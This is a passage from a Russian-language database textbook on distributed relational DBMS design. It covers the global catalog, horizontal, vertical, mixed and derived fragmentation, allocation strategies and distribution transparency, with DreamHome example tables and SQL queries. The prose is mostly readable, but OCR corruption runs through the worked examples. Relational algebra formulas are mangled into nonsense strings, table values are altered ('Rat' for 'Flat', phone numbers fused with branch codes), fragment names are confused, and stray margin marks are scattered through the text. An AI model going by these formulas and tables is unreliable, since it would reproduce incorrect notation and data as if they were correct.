Компонент передачи данных представляет собой программное обеспечение, позволяющее всем сайтам взаимодействовать между собой. Он содержит сведения о существующих сайтах и линиях связи между ними.
Глобальный системный каталог
Глобальный системный каталог имеет то же самое функциональное назначение, что и системный каталог в централизованных базах данных. Глобальный каталог содержит информацию, специфическую для распределенной природы системы, например схемы фрагментации и распределения. Этот каталог сам по себе может являться распределенной базой данных и поэтому подвергаться фрагментации и распределению, быть полностью реплицируемым или централизованным, как и любое другое отношение, о чем речь пойдет ниже. Полностью реплицируемый глобальный системный каталог снижает автономность отдельных сайтов, поскольку любые изменения в нем должны передаваться на все существующие сайты. Использование централизованного глобального каталога также снижает автономность сайтов и повышает их зависимость от отказов на центральном сайте. Подход, выбранный в системе R*, позволяет преодолеть все указанные недостатки. В системе R* на каждом сайте существует локальный каталог, содержащий метаданные, описывающие данные, сохраняемые на этом сайте. Что касается отношений, созданных на некотором сайте (сайте создания)» то ответственность за фиксацию описания каждого его фрагмента, каждой реплики каждого фрагмента, а также хранение сведений о расположении этих фрагментов возлагается на локальный каталог данного сайта. В случае, если фрагмент или реплика перемещается в другое место, сведения в локальном каталоге сайта создания соответствующего отношения необходимым образом обновляются. Следовательно, для определения расположения фрагмента или реплики отношения необходимо получить доступ к каталогу его сайта создания. Сведения о сайте создания каждого глобального отношения должны фиксироваться в каждом локальном экземпляре глобального системного каталога.
Распределенная СУБД
Компонент распределенной СУБД является управляющим по отношению ко всей системе элементом. В предыдущем разделе мы кратко познакомились с основными функциональными возможностями, которыми должен обладать этот компонент. Обсуждение этих функциональных возможностей мы продолжим в оставшейся части этой главы и в следующей главе.
Разработка распределенных реляционных баз данных
В главах 7 и 8 вашему вниманию была предложена методология концептуального и логического проектирования централизованных реляционных баз данных. В данном разделе мы рассмотрим дополнительные факторы, которые должны приниматься во внимание при разработке распределенных реляционных баз данных. В частности, мы обсудим следующие аспекты проектирования распределенных систем.
Фрагментация. Любое отношение может быть разделено на некоторое количество частей, называемых фрагментами, которые затем распределяются по различным сайтам. Существуют два основных типа фрагментов: горизонтальные и вертикальные. Горизонтальные фрагменты представляют собой подмножества кортежей, а вертикальные — подмножества атрибутов.
Распределение. Каждый фрагмент сохраняется на сайте, выбранном с учетом “оптимальной” схемы их размещения.
Репликация. СУРБД может поддерживать актуальную копию некоторого фрагмента на нескольких различных сайтах.
Определение и размещение фрагментов должно проводиться с учетом особенностей использования базы данных. В частности, это подразумевает выполнение анализа приложений. Как правило, провести анализ всех приложений не представляется возможным, поэтому следует сосредоточить усилия на самых важных из них. Как уже было отмечено в разделе 9.2, эмпирически отмечено, что 20% выполняемых пользователями запросов создают 80% общей нагрузки на базу данных. Это же правило “80/20” вполне может использоваться при проведении анализа приложений (Weiderhold, 1983).
Проектирование должно выполняться на основе как количественных, так и качественный показателей. Количественная информация используется в качестве основы для распределения, тогда как качественная служит базой при создании схемы фрагментации. Количественная информация включает такие показатели:
частота запуска приложения на выполнение;
сайт, на котором запускается приложение;
требования к производительности транзакций и приложений.
Качественная информация может включать перечень выполняемых в приложении транзакций, используемые отношения, атрибуты и кортежи, к которым осуществляется доступ, тип доступа (чтение или запись), предикаты, используемые в операциях чтения.
Определение и размещение фрагментов по сайтам выполняется для достижения следующих стратегических целей.
Локальность ссылок. Везде, где только это возможно, данные должны храниться как можно ближе к местам их использования. Если фрагмент используется на нескольких сайтах, может оказаться целесообразным разместить на этих сайтах его копии.
Повышение надежности и доступности. Надежность и доступность данных повышаются за счет использования механизма репликации. В случае отказа одного из сайтов всегда будет существовать копия фрагмента, сохраняемая на другом сайте.
Приемлемый уровень производительности. Неверное распределение данных будет иметь следствием возникновение в системе узких мест. В этом случае некоторый сайт оказывается просто завален запросами со стороны других сайтов, что может вызвать существенное снижение производительности всей системы. В то же время неправильное распределение может иметь следствием неэффективное использование ресурсов системы.
Баланс между емкостью и стоимостью внешней памяти. Обязательно следует учитывать доступность и стоимость устройств хранения данных, имеющихся на каждом из сайтов системы. Везде, где только это возможно, рекомендуется использовать более дешевые устройства массовой памяти. Это требование должно быть сбалансировано с требованием поддержки ло^ кальности ссылок.
Минимизация расходов на передачу данных. Следует тщательно учитывать стоимость выполнения в системе удаленных запросов. Затраты на выборку будут минимальны при обеспечении максимальной локальности ссылок.
т.е. тогда, когда каждый сайт будет иметь собственную копию данных. Однако при обновлении реплицируемых данных внесенные изменения потребуется распространить на все сайты, имеющие копию обновленного отношения, что вызовет увеличение затрат на передачу данных. '
Распределение данных
Существуют четыре альтернативные стратегии размещения данных в системе: централизованное, раздельное (фрагментированное), размещение с полной репликацией и с выборочной репликацией. Ниже мы узнаем, какие результаты дает использование каждой из этих стратегий, и рассмотрим их в свете достижения целей, определенных выше.
Централизованное размещение
Данная стратегия предусматривает создание на одном из сайтов единственной базы данных под управлением СУБД, доступ к которой будут иметь все пользователи сети (эта стратегия под названием “распределенная обработка” уже рассматривалась нами выше.) В этом случае локальность ссылок минимальна для всех сайтов, за исключением центрального, поскольку для получения любого доступа к данным требуется установка сетевого соединения. Соответственно уровень затрат на передачу данных будет высок. Уровень надежности и доступности в системе низок, поскольку отказ на центральном сайте вызовет паралич работы всей системы.
Раздельное (фрагментированное) размещение
В этом случае база данных разбивается на непересекающиеся фрагменты, каждый из которых размещается на одном из сайтов системы. Если элемент данных будет размещен на том сайте, на котором он чаще всего используется, полученный уровень локальности ссылок будет высок. При отсутствии репликации стоимость хранения данных будет минимальна, но при этом будет невысок также уровень надежности и доступности данных в системе. Однако он будет выше, чем в предыдущем варианте, поскольку отказ на любом из сайтов вызовет утрату доступа только к той части данных, которая на нем хранилась. При правильно выбранном способе распределения данных уровень производительности в системе будет относительно высоким, а уровень затрат на передачу данных — низким.
Размещение с полной репликацией
Эта стратегия предусматривает размещение полной копии всей базы данных на каждом из сайтов системы. Следовательно, локальность ссылок, надежность и доступность данных, а также уровень производительности системы будут максимальны. Однако стоимость устройств хранения данных и уровень затрат на передачу данных в этом случае также будут самыми высокими. Для преодоления части этих проблем в некоторых случаях используется технология моментальных снимков. Моментальный снимок представляет собой копию базы данных в определенный момент времени. Эти копии обновляются через некоторый установленный интервал времени — например, один раз в час или в неделю, — а потому они не всегда будут актуальными в текущий момент. Иногда в распределенных системах моментальные снимки используются для реализации представлений, что позволяет улучшить время выполнения в базе данных операций с представлениями. Подробнее о моментальных снимках речь пойдет в разделе 20.6.
Размещение с выборочной репликацией
Данная стратегия представляет собой комбинацию методов фрагментации, репликации и централизации. Одни массивы данных разделяются на фрагменты, что позволяет добиться для них высокой локальности ссылок, тогда как другие, используемые на многих сайтах, но не подверженные частым обновлениям, подвергаются
репликации. Все остальные данные хранятся централизованно. Целью применения данной стратегии является объединение всех преимуществ, существующих в остальных моделях, с одновременным исключением свойственных им недостатков. Благодаря своей гибкости именно эта стратегия используется чаще всего. Сводные характеристики всех рассмотренных выше стратегий приведены в табл. 19.3. Дополнительные сведения о распределении данных заинтересованный читатель найдет в работах Оцзу и Валдуриза (Ozsu and Valduriez, 1997), а также Теорея (Теогеу, 1994).
Таблица 19.3. Сравнительные характеристики различных стратегий
распределения данных
Локальность ссылок
Надежность и доступность
Производительность
Стоимость устройств хранения
Затраты на передачу данных
Централизованное
Самая низкая
Самая низкая
Неудовлетворительная
Самая низкая
Самая высокая
Фрагментированное
Высокая1
Низкая для отдельных элементов; высокая для системы в целом
Удовлетворительная1
Самая низкая
Низкая1
Полная репликация
Самая высокая
Самая высокая
Хорошая для операций чтения
Самая высокая
Высокая для операций обновления, низкая для операций чтения
Выборочная репликация
Высокая1
Низкая для отдельных элементов, высокая для системы
Удовлетворительная1
Средняя
Низкая1
1 При условии качественного проектирования.
Фрагментация
Назначение фрагментации
Прежде чем приступить к подробному обсуждению различных аспектов фрагментации, целесообразно ознакомиться с причинами, вызывающими необходимость фрагментации отношений.
Условия использования. Чаще всего приложения работают с некоторыми представлениями, а не с полными базовыми отношениями. Следовательно, с точки зрения распределения данных, целесообразнее организовать работу приложений с определенными фрагментами отношений, выступающими как распределяемые элементы.
Эффективность. Данные хранятся в тех местах, в которых они чаще всего используются. Кроме того, исключается хранение данных, которые не используются локальными приложениями.
Параллельность. Поскольку фрагменты являются распределяемыми элементами, транзакции могут быть разделены на несколько подзапросов, обращающихся к различным фрагментам. Такой подход дает возможность повысить уровень параллельности обработки в системе, т.е. позволяет транзакциям, которые допускают это, безопасно выполняться в параллельном режиме.
Защищенность. Данные, не используемые локальными приложениями, не хранятся на сайтах, а значит, неавторизированные пользователи не смогут получить к ним доступ.
Механизму фрагментации свойственны два основных недостатка, которые уже упоминались выше.
Производительность. Производительность приложений, требующих доступа к данным из нескольких фрагментов, расположенных на различных сайтах, может оказаться недостаточной.
Целостность данных. Поддержка целостности данных может существенно осложняться, поскольку функционально зависимые данные могут оказаться фрагментированными и размещаться на различных сайтах.
Корректность фрагментации
Фрагментация данных не должна выполняться непродуманно, наугад. Существуют три правила, которых следует обязательно придерживаться при проведении фрагментации.
Полнота. Если экземпляр отношения R разбивается на фрагменты, например Rp R2, ..., Rn, то каждый элемент данных, присутствующий в отношении R, должен присутствовать, по крайней мере, в одном из созданных фрагментов. Выполнение этого правила гарантирует, что какие-либо данные не будут утрачены в результате выполнения фрагментации.
Восстановимость. Должна существовать операция реляционной алгебры, позволяющая восстановить отношение R из его фрагментов. Это правило гарантирует сохранение функциональных зависимостей.
Непересекаемость. Если элемент данных с^ присутствует во фрагменте Rj, то он не должен одновременно присутствовать в каком-либо ином фрагменте. Исключением из этого правила является операция вертикальной фрагментации, поскольку в этом случае в каждом фрагменте должны присутствовать атрибуты первичного ключа, необходимые для восстановления исходного отношения. Данное правило гарантирует минимальную избыточность данных во фрагментах.
В случае горизонтальной фрагментации элементом данных является кортеж, а в случае вертикальной фрагментации — атрибут.
Типы фрагментации
Существуют два основных типа фрагментации: горизонтальная и вертикальная. Горизонтальные фрагменты представляют собой подмножества кортежей отношения, а вертикальные — подмножества атрибутов отношения, как показано на рис. 19.7.
Кроме того, существуют еще два типа фрагментации: смешанная (рис. 19.8) и производная (представляющая собой вариант горизонтальной фрагментации). Ниже мы продемонстрируем различные типы фрагментации на примере экземпляра базы данных приложения DreamHome, представленного в табл. 3.3-3.8.
Рис. 19.7. Различные типы фрагментации: а) горизонтальная: б) вертикальная
Рис. 19.8. Смешанная фрагментация: а) горизонтально разделенные вертикальные фрагменты; б) вертикально разделенные горизонтальные фрагменты
Горизонтальная фрагментация■
Горизонтальный Выделенный по горизонтали фрагмент отношения, состоящий фрагментиз некоторого подмножества кортежей этого отношения.
Горизонтальный фрагмент создается посредством определения предиката, с помощью которого выполняется отбор кортежей из исходного отношения. Данный тип фрагмента определяется с помощью операции выборки реляционной алгебры (см. раздел 3.4.1). Операция выборки позволяет выделить группу кортежей, обладающих некоторым общим для них свойством, — например, все кортежи, используемые одним из приложений, или все кортежи, применяемые на одном из сайтов. Если задано отношение R, то его горизонтальный фрагмент может быть определен с помощью следующей формулы:
ap(R)
Здесь р является предикатом, построенным с использованием одного или больше атрибутов отношения.
' Пример 19.2. Горизонтальная фрагментация
Предположим, что существуют только два типа объектов недвижимости: квартира | ('Flat') и дом ('House'). В этом случае горизонтальная фрагментация отношения^ , Property_for_Rent по атрибуту Туре может быть выполнена следующим образом:;
Рн CFtVpe^House'( PropertyJor^Rent)<
Р2: Gtype«'Flat'(Property^orient)’'
В результате будут созданы два фрагмента. Первый, содержимое которого пред- j ставлено в табл. 19.4, будет состоять из кортежей, в которых значение атрибута . Туре будет равно 'House'. Второй фрагмент (табл. 19.5) будет состоять из кортежей, | > в которых значение атрибута Туре равно 'Flat'. Подобный вариант фрагментации । - может оказаться полезным, если существуют независимые приложения, обрабаты- | вающие данные только о квартирах или домах. Предложенная схема фрагмента- ! ции отвечает всем правилам корректности.'|
। • Полнота. Каждый кортеж исходного отношения присутствует либо во фраг- i :менте Р2, либо во фрагменте Pj.
* • Восстановимость. Отношение Property^orient может быть восстановлено из созданных фрагментов с помощью следующей операции объединения:
??! и Р2 = Property_for_Rentj
* • Непересекаемость. Полученные фрагменты не пересекаются, поскольку не су- \ ществует значения атрибута Туре, которое одновременно было бы равно значе- ; ниям 'House' и 'Flat'.'1
i Таблица 19.4. Горизонтальный фрагмент Р, отношения Property_for_Rent
Рпо
Sreet
Area
City
Pcode
Type
Rooms
Rent
Ono
Sno
Bno
РА14
16 Holhead
Dee
Aberdeen
AB7
5SU
House
6
650
CO46
SA9
B7
PG21
18 Dale Rd
Hyndland
Glasgow
G12
House
5
600
CO87
SG37
B3
! Таблйца 19.5. Горизонтальный фрагмент Р2 отношения Property_for_Rent
Рпо
Sreet
Area
City
Pcode
Type
Rooms
Rent
Ono
Sno
Bno
PL94
6 Argyll St
Kilburn
London
NW2
Rat
4
400
CO87
SL41
B5
PG4
6 Lawrence St
Partick
Glasgow
G11
9QX
Rat
3
350
CO40
SG14
B3
PG36
2 Manor Rd
Glasgow
G32
4QX
Rat
3
375
CO93
SG37
B3
PG16
5 Novar Dr
Hyndland
Glasgow
G12
9AX
Rat
4
450
CO93
SG14
B3
В одних случаях целесообразность использования горизонтальной фрагментации вполне очевидна. Однако в других случаях потребуется выполнение детального анализа приложений. Этот анализ должен включать проверку предикатов (или условий) поиска, используемых в транзакциях или запросах, выполняемых в приложении. Предикаты могут быть простыми, включающими только по одному атрибуту, или сложными, включающими несколько атрибутов. Для каждого из используемых атрибутов предикат может содержать единственное значение или несколько значений. В последнем случае значения могут быть дискретными или задавать диапазон значений.
Стратегия определения типа фрагментации предполагает поиск набора минимальных (т.е. полных и релевантных) предикатов, которые можно будет использовать как основу для построения схемы фрагментации (Ceri et al., 1982). Набор предикатов является полным тогда и только тогда, когда вероятность обращения к любым двум кортежам одного и того же фрагмента со стороны любого приложения будет одинакова. Предикат является релевантным, если существует, по крайней мере, одно приложение, которое по-разному обращается к выделенным с помощью этого предиката фрагментам.
Вертикальная фрагментация
Вертикальный Выделенный по вертикали фрагмент отношения, состоящий из фрагмент подмножества атрибутов этого отношения.
При вертикальной фрагментации в различные фрагменты объединяются атрибуты, используемые отдельными приложениями. Определение фрагментов в этом случае выполняется с помощью операции проекции реляционной алгебры (см. раздел 3.4.1). Для заданного отношения R вертикальный фрагмент может быть вычислен с помощью следующей формулы:
Па1,,an(R)
Здесь al, ...» ап представляют собой атрибуты отношения R.
- Пример 19.3. Вертикальная фрагментация
В компании DreamHome приложение, печатающее платежные ведомости, для ка- j ждого из работников компании использует атрибуты личного номера работника ; Sno, а также атрибуты Position (Должность), Sex (Пол), DOB (Дата рождения), Salary = (Заработная плата) и NIN (Личный страховой номер). Ведомость, выдаваемая для ' отдела кадров, содержит атрибуты Sno, FName (Имя), LName (Фамилия), Address ' (Адрес), Tel_No (Номер телефона) и Впо (Номер отделения компании). Исходя из этих сведений, вертикальная фрагментация отношения Staff может быть выпол- ! йена с помощью следующих определений:j
Sp nsnOfpOSition, sex, dob, salary, nin(Staff)j
s2; nsn0| fname, lname, address, tel no, bno(sta^)■
С помощью этих формул будут созданы два фрагмента, содержимое которых пред- ! ставлено в табл. 19.6 и 19.7. Обратите внимание, что оба фрагмента содержат пер- 1 вичный ключ — атрибут Sno, — что позволяет при необходимости реконструировать ; исходное отношение. Преимущество вертикальной фрагментации состоит в том, что отдельные фрагменты могут размещаться на тех сайтах, на которых они использу- • ются. Это дополнительно оказывает положительное влияние на производительность j системы, поскольку размеры каждого из фрагментов меньше размеров исходной таб- '
■ лицы. Приведенная схема фрагментации удовлетворяет правилам корректности.
Полнота, Каждый атрибут отношения Staff присутствует либо во фрагменте ■
Sb либо во фрагменте S2.|
Восстановимость. Исходное отношение Staff может быть реконструировано из ! отдельных фрагментов с помощью операции естественного соединения:|
Si ▻< S2 = Staff. j
Непересекаемость. Содержимое отдельных фрагментов не пересекается, за ис- ! ключением атрибута первичного ключа Sno, необходимого для реконструкции | , исходного отношения.;
Таблица 19.6. Вертикальный фрагмент S1 отношения Staff
Sno
Position
Sex
DOB
Salary
NIN
SL21
Manager
M
1-Oct-45
30000 .
WK442011B. . .
SG37
Snr Asst
F
10-Nov-60
12000
WL432514C
SG14
Deputy
M
24-Mar-58
18000
WL220658D
SA9
Assistant
F
19-Feb-70
9000
WM532187D
SG5
Manager
F
3-Jun-40
24000
WK588932E
SL41
Assistant
F
13-Jun-65
9000
WA290573K-4
. Таблица 19.7. Вертикальный фрагмент S2
отношения Staff. . . . I
'“i
Sno
FName
LName
Address
Tei.NoBno
SL21
John
White
19 Taylor St, Cranford, London
0171-884-5112 Вб'
SG37
Ann
Beech
81 George St, Glasgow PA1 2JR
0141-848-334583"
SG14
David
Ford
63 Ashby St, Partick, Glasgow G11 •
0141-339-217783\
SA9
Mary
Howe
2 Bm PI, Aberdeen AB2 3SU
, 87•
SG5
Susan
Brand
5 Gt Western Rd Glasgow G12
0141-334-200183 '
SL41
Julie
Lee
28 Malvern St, Kilburn NW2
0181-554-354185
Вертикальные фрагменты определяются путем установки родственности одного атрибута по отношению к другому. Один из способов решить эту задачу состоит в создании матрицы, содержащей количество обращений с выборкой каждой из пар атрибутов. Например, транзакция, которая осуществляет доступ к атрибутам аь а2 и а4 отношения R, состоящего из набора атрибутов (alf а2г а3, а4), может быть представлена следующей матрицей:
а1 а2а3а4
в! Г1011
а2 I011
а3 I0 I
а< LJ
Эта матрица является треугольной, поскольку диагональ ее не заполняется, а нижняя часть является зеркальным отражением верхней части. Единицы в матрице означают наличие доступа с обращением к соответствующей паре атрибутов и, в конечном счете, должны быть заменены числами, отражающими частоту выполнения транзакции. Подобная матрица составляется для каждой транзакции, после чего строится общая матрица, содержащая суммы всех показателей доступа к каждой из пар атрибутов. Пары атрибутов с высоким показателем родственности должны присутствовать в одном и том же вертикальном фрагменте. Пары с невысоким показателем родственности могут быть разнесены в разные вертикальные фрагменты. Очевидно, что обработка сведений об отдельных атрибутах для всех важнейших транзакций может потребовать немало времени и вычислений. Следовательно, если заранее известно о родственности определенных атрибутов, может оказаться целесообразным обработать сведения сразу о группах атрибутов.
Подобный подход носит название расщепления (splitting) и впервые был предложен группой разработчиков в 1984 году (Navathe et al., 1984). Он позволяет выделить набор неперекрывающихся фрагментов, которые гарантированно будут отвечать определенному выше правилу непересекаемости. Фактически требование непересекаемости касается только атрибутов, не входящих в первичный ключ отношения. Атрибуты первичного ключа должны присутствовать в каждом из выделенных вертикальных фрагментов, а потому могут быть исключены из анализа. Дополнительную информацию, касающуюся данного метода, заинтересованный читатель может найти в работе Оцзу и Валдуриса (Ozsu and Valduries, 1997).
Смешанная фрагментация
В некоторых случаях применения только лишь горизонтальной и вертикальной фрагментации элементов схемы базы данных оказывается недостаточно для адекватного распределения данных между приложениями. В этом случае приходится прибегать к смешанной (или гибридной) фрагментации.
Смешанный Образуется либо посредством дополнительной вертикальной фраг- фрагмент ментации созданных ранее горизонтальных фрагментов, либо за счет вторичной горизонтальной фрагментации предварительно определенных вертикальных фрагментов.
Смешанная фрагментация определяется с помощью операций выборки и проекции реляционной алгебры. Если имеется некоторое отношение R, то смешанный фрагмент может быть определен по формулам
Ор(Па1, ... , ап(К)) или
Па1, , an(°p(R))
Здесь р является предикатом, построенным на использовании одного или больше атрибутов отношения R, обозначенных в формулах символами а!, ... , ап.
Пример 19.4. Смешанная фрагментация
В примере 19.3 мы выполнили вертикальную фрагментацию отношения Staff для приложений печати платежной ведомости и некоторого документа отдела кадров. Разбиение было определено с помощью следующих формул:
$1* nsn0 D0S£t£0nt seXi dob. salary. nin(Staff)
^2* Hsno.fname, Iname. address, tel no. bno(Staff)
Теперь можно выполнить дополнительную горизонтальную фрагментацию фраг-
ментаS21:S22:S23;ментаS21:S22:S23;S2 по атрибуту номера отделения компании bno:
мента
S21:
S22:
S23;
мента
S21:
S22:
S23;
^Ьпо^вз'^г)
^bno='B5' (^2)
^bno»'B7'(S2)
В результате будут созданы три фрагмента, первый из которых включает кортежи с номером отделения, равным 'ВЗ' (табл. 19.9), второй — с номером отделения, равным 'В5' (табл. 19.10), а в третий вошли кортежи с номером отделения,, равным 'В7' (табл. 19.11). Содержимое фрагмента Si представлено в табл. 19.8. Полученная схема фрагментации удовлетворяет правилам корректности.. / -,
Полнота. Каждый из атрибутов исходного отношения Staff присутствует либо во фрагменте Sb либо во фрагменте S2; каждый кортеж (в виде отдельных частей) исходного отношения присутствует во фрагменте Sj, а также в отношении S23, S22 или S23.
Восстановимость. Исходное отношение Staff может быть восстановлено из полученных фрагментов путем выполнения операций объединения и естественного соединения с применением следующей формулы:-
Si 1x1 (S21 u S22 и S23) = Staff-
Непересекаемость. Полученные фрагменты не пересекаются, поскольку не существует работника, зачисленного более чем в одно отделение компании, а фрагменты S2 и S2 содержат различные атрибуты, за исключением обязательного атрибута первичного ключа.
Таблица 19.8. Смешанная фрагментация отношения Staff. Фрагмент Si
Sno
Position
Sex
DOB
Salary
NIN
SL21
Manager
M
1-Oct-45
30000
WK442011B -
SG37
Snr Asst
F
10-Nov-60
12000
WL432514C"
SG14
Deputy
M
24-Mar-58
18000
'WL220658O
SA9
Assistant
F
19-Feb-70
9000
WM532187D
SG5
Manager
F
3-Jun-40
24000
WK588932E
SL41
Assistant
F
13-Jun-65
9000
WA290573K
Таблица 19.9. Смешанная фрагментация
отношения
Staff. Фрагмент Sji|
Sno
FName
LName
Address
Tel.NoBno .
SG37
Ann
Beech
81 George St, Glasgow PA1 2JR 0141-848-3345 B3
SG14
David
Ford
63 Ashby St, Partick, Glasgow G11
0141-339-2177 B3
SG5
Susan
Brand
5 Gt Western Rd Glasgow G12
0141-334-2001 B3
I Таблица 19.10. Смешанная фрагментация отношения Staff. Фрагмент S22
Sno
FName
LName
Address
Tel_No
Bno
SL21 .
John
White
19 Taylor St, Cranford, London
0171-884-5112
B5
SL41
Julie
Lee
28 Malvern St, Kilburn NW2
0181-554-3541
B5
| Таблица 19.11. Смешанная фрагментация отношения
Staff. Фрагмент S23
Sno
FName
LName
Address
Tel.No
Bno
SA9
Mary
Howe
2 Elm PI, Aberdeen AB2 3SU
B7
Производная горизонтальная фрагментация
Некоторые приложения включают операции соединения двух или больше отношений. Если отношения сохраняются в различных местах, то выполнение их соединения создаст очень большую дополнительную нагрузку на систему. В подобных случаях более приемлемым решением будет размещение соединяемых отношений или их фрагментов в одном и том же месте. Данная цель может быть достигнута за счет применения производной горизонтальной фрагментации.
Производный Горизонтальный фрагмент отношения, созданный на основе гори- фрагмент зонтального фрагмента родительского отношения.
Термин “дочернее” мы будем использовать для ссылок на отношение, содержащее внешний ключ, а термин “родительское” — для ссылок на отношение с соответствующим первичным ключом. Определение производных фрагментов осуществляется с помощью операции полу соединения реляционной алгебры (см. раздел 3.4.1). Если заданы дочернее отношение R и родительское отношение S, то производный фрагмент отношения R может быть определен следующим образом:
Ri = R х F Sir 1 < i < w
Здесь значение w — это количество горизонтальных фрагментов, определенных для отношения S, а параметр F задает атрибут, по которому выполняется соединение.
Пример 19.5. Производная горизонтальная фрагментация
I Допустим, что существует приложение, в котором выполняется соединение отно- I шений Staff и Property_for_Rent. Кроме того, предположим, что отношение Staff j разбито на три горизонтальных фрагмента в соответствии со значением атрибута ; номера отделения компании Впо. Каждый полученный фрагмент ведется на соот- ; ветствующем сайте локально.
! S3 = Obno.'B3'(Staff)
[ s4 = Obno-BS'(Staff)
I S5 = abno.-B7'(Staff)
| Следовательно, имеет смысл хранить сведения об объектах недвижимости с при} менением того же способа фрагментации. Данная цель достигается за счет приме- | нения метода производной фрагментации для горизонтального разбиения отношения Property_for_Rent в соответствии с номером отделения компании:
I Pi = Property_forient >bn0 Siz 3 < i < 5
$ В результате будут созданы три фрагмента. Первый из них будет содержать сведения об | объектах недвижимости, обслуживаемых в отделении компании с номером 'ВЗ'
(табл. 19.12), второй фрагмент описывает объекты недвижимости, обслуживаемые отделением с номером 'В5' (табл. 19.13), а третий — отделением с номером 'В7' (табл. 19.14). Несложно доказать, что полученная схема фрагментации отвечает правилам корректности. Мы оставляем это доказательство (в качестве упражнения) для читателей.
Таблица 19.12. Производная фрагментация отношения Property_for_Rent по отношению Staff. Фрагмент Р3|
Рпо
Sreet
Area
City
Pcode
Type
Rooms
Rent
■ Ono
Sno
PG4
6 Lawrence St
Partick
Glasgow
G11 9QX
Rat
3
350
CO40
SG14
PG36
2 Manor Rd
Glasgow
G32 4QX
Rat
3
375
CO93
SG37
PG21
18 Dale Rd
Hyndland
Glasgow
G12
House
5
600
CO87
SG37
PG16
5 Novar Dr
Hyndland
Glasgow
G12 9AX
Rat
4
450
0093
SG14
. Таблица 19.13. Производная фрагментация по отношению Staff. Фрагмент Р4
I отношения Property_for_Rent |
РпоSreetAreaCityPcode
Type Rooms Rent
Ono Sno
PL94 6 Argyll St Kilburn London NW2
Rat4400
0087 SL41
Таблица 19.14. Производная фрагментация отношения Property_for_Rent i по отношению Staff. Фрагмент Р5*
РпоSreet Area CityPcode Type
RoomsRent
Ono Sno
PA14 16DeeAberdeen AB7 5SU House
Hoihead
6650
CO46 SA9
Если отношение включает больше одного внешнего ключа, то может потребоваться выбрать в качестве родительского только одно из связанных отношений. Выбор может быть сделан в соответствии с чаще всего используемым типом фрагментации или с целью достижения оптимальных характеристик соединения — например, соединения, которое включает более мелкие фрагменты или соединения, выполняемого с большей степенью распараллеливания.
Отказ от фрагментации
Последний вариант возможной стратегии состоит в отказе от фрагментации отношения. Например, отношение Branch содержит небольшое количество кортежей, которые относительно редко обновляются. Вместо того чтобы попытаться выполнить горизонтальную фрагментацию этого отношения (например, по номеру отделения компании), имеет смысл оставить это отношение нефрагментированным и просто разместить на каждом из сайтов его реплицируемые копии. Это первый этап типовой процедуры определения схемы фрагментации (поиск отношений, которые не нуждаются в фрагментации). Затем следует проанализировать отношения, расположенные на единичной стороне связей типа “один ко многим”, и подобрать для них оптимальные схемы фрагментации. На последнем этапе анализируются отношения, расположенные на множественной стороне тех же связей. Именно они чаще всего являются кандидатами для применения производной фрагментации.
Обеспечение прозрачности в РСУБД
В определении РСУБД, приведенном в разделе 19.1.1, утверждается, что система должна обеспечить прозрачность распределенного хранения данных для конечного пользователя. Под прозрачностью понимается сокрытие от пользователей деталей реализации системы. Например, в централизованной СУБД обеспечение независимости программ от данных также можно рассматривать как одну из форм прозрачности — в данном случае от пользователя скрываются изменения, происходящие в определении и организации хранения данных. Распределенные СУБД могут обеспечивать различные уровни прозрачности. Однако в любом случае преследуется одна и та же цель: сделать работу с распределенной базой данных совершенно аналогичной работе с обычной централизованной СУБД. Все виды прозрачности, которые мы будем обсуждать ниже, очень редко можно найти в какой-либо одной СУРБД. Мы выделим четыре основных типа прозрачности, которые могут иметь место в системе с распределенной базой данных.
Прозрачность распределенности.
Прозрачность транзакций.
Прозрачность выполнения.
Прозрачность использования СУБД.
Прежде чем приступить к обсуждению каждого из этих типов прозрачности, следует отметить, что полная прозрачность не всегда принимается как одна из целевых установок. Например, Грей в одной из своих работ (Gray, 1989) утверждает, что полная прозрачность превращает управление распределенными данными в чрезвычайно трудную задачу. Кроме того, он указывает, что приложения, написанные с учетом полной прозрачности доступа в географически распределенной базе данных, обычно характеризуются недостаточными управляемостью, модульностью и производительностью обработки сообщений.
Прозрачность распределенности
Прозрачность распределенности базы данных позволяет конечным пользователям воспринимать базу данных как единое логическое целое. Если СУРБД обеспечивает прозрачность распределенности, то пользователю не требуется каких-либо знаний о фрагментации данных (прозрачность фрагментации) или их размещении (прозрачность расположения).
Если пользователю необходимо иметь сведения о фрагментации данных и расположении фрагментов, то этот тип прозрачности мы будем называть прозрачностью локального отображения. Ниже мы подробно рассмотрим все упомянутые типы прозрачности. Для иллюстрации обсуждаемых концепций будет использоваться отношение Staff, фрагментированное так, как описано в примере 19.4, а именно:
Si:
П8по, position, sex, dob, salary, nin(Staff)
фрагмент расположен на сайте
S2:
nsno, fname, Iname, address, tel no, bno(Staff)
S2i:
$bno»'B3'(S2)
фрагмент расположен на сайте
S22:
^bno='B5' (S2)
фрагмент расположен на сайте
S23:
^bno«'B7' (S2)
фрагмент расположен на сайте
Прозрачность фрагментации
Прозрачность фрагментации является самым высоким уровнем прозрачности распределенности. Если СУРБД обеспечивает прозрачность фрагментации, то пользователю не требуется знать, как именно фрагментированы данные. В этом случае доступ к данным осуществляется на основе глобальной схемы и пользователю нет необходимости указывать имена фрагментов или расположение данных. Например, для вы-
борки сведений обо всех руководителях отделений (у них атрибут Position имеет значение 'Manager'), при наличии в системе прозрачности фрагментации, можно воспользоваться следующим SQL-оператором:
SELECT fname, Iname
FROM STAFF
WHERE position = 'Manager';
Это тот же самый SQL-оператор, который потребовалось бы ввести для получения указанных результатов в централизованной системе.
Прозрачность расположения
Прозрачность расположения представляет собой средний уровень прозрачности распределенности. В этом случае пользователь должен иметь сведения о способах фрагментации данных в системе, но не нуждается в сведениях о расположении данных. При наличии в системе прозрачности расположения тот же самый запрос следует переписать в таком виде:
SELECT fname, Iname
FROM S21
WHERE sno IN (SELECT sno FROM S: WHERE position = 'Manager') UNION
SELECT fname, Iname
FROM S22
WHERE sno IN (SELECT sno FROM Sj WHERE position = 'Manager'} UNION
SELECT fname, Iname
FROM S23
WHERE sno IN (SELECT sno FROM Sj WHERE position ’ 'Manager')?
В этом случае в запросе необходимо указывать имена используемых фрагментов. Кроме того, дополнительно необходимо воспользоваться операциями соединения (или подзапросами), поскольку атрибуты Position и FName/LName находятся в разных вертикальных фрагментах. Основное преимущество прозрачности расположения состоит в том, что база данных может быть подвергнута физической реорганизации и это не окажет никакого влияния на программы приложений, осуществляющих к ней доступ.
Прозрачность репликации
